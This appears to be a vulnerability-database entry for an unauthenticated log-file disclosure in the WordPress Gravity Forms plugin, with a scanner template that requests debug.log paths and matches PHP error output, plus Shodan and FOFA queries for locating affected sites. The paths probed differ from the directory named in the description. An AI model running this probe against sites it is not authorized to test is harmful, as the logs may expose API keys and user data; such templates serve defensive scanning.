wp-gravity-forms-log-disclosure: WordPress Gravity Forms - Log File Disclosure

2026-01-16 WordPress Gravity Forms PoC Public

Description

The Gravity Forms plugin for WordPress stores log files that may be accessible without authentication. When logging is enabled, debug and error logs are created in the wp-content/uploads/gravity_forms/logs/ directory. These logs can contain sensitive information including form submission data, file paths, database queries, PHP errors, API keys, and user information.

PoC

id: wp-gravity-forms-log-disclosure

info:
  name: WordPress Gravity Forms - Log File Disclosure
  author: ritikchaddha
  severity: low
  description: |
    The Gravity Forms plugin for WordPress stores log files that may be accessible without authentication. When logging is enabled, debug and error logs are created in the wp-content/uploads/gravity_forms/logs/ directory. These logs can contain sensitive information including form submission data, file paths, database queries, PHP errors, API keys, and user information.
  metadata:
    max-request: 2
    verified: true
    shodan-query: html:"/wp-content/plugins/gravityforms"
    fofa-query: body="/wp-content/plugins/gravityforms"
  tags: wordpress,wp,wp-plugin,gravityforms,log,disclosure,exposure,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/gravityforms/debug.log"
      - "{{BaseURL}}/wp-content/plugins/gravityforms/tmp/debug.log"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP", body)'
          - 'contains_any(body, "PHP Warning:", "PHP Notice:", "Undefined array", "Undefined variable")'
        condition: and
# digest: 490a004630440220736f38cc28d3a5de8364e680b33334df31ca1a16e39dbc895c95d0ce39f2c3a302202671fc3571ac4b5420999460efc9cfdd320d08a0024c72071ca5a1aad31359a5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities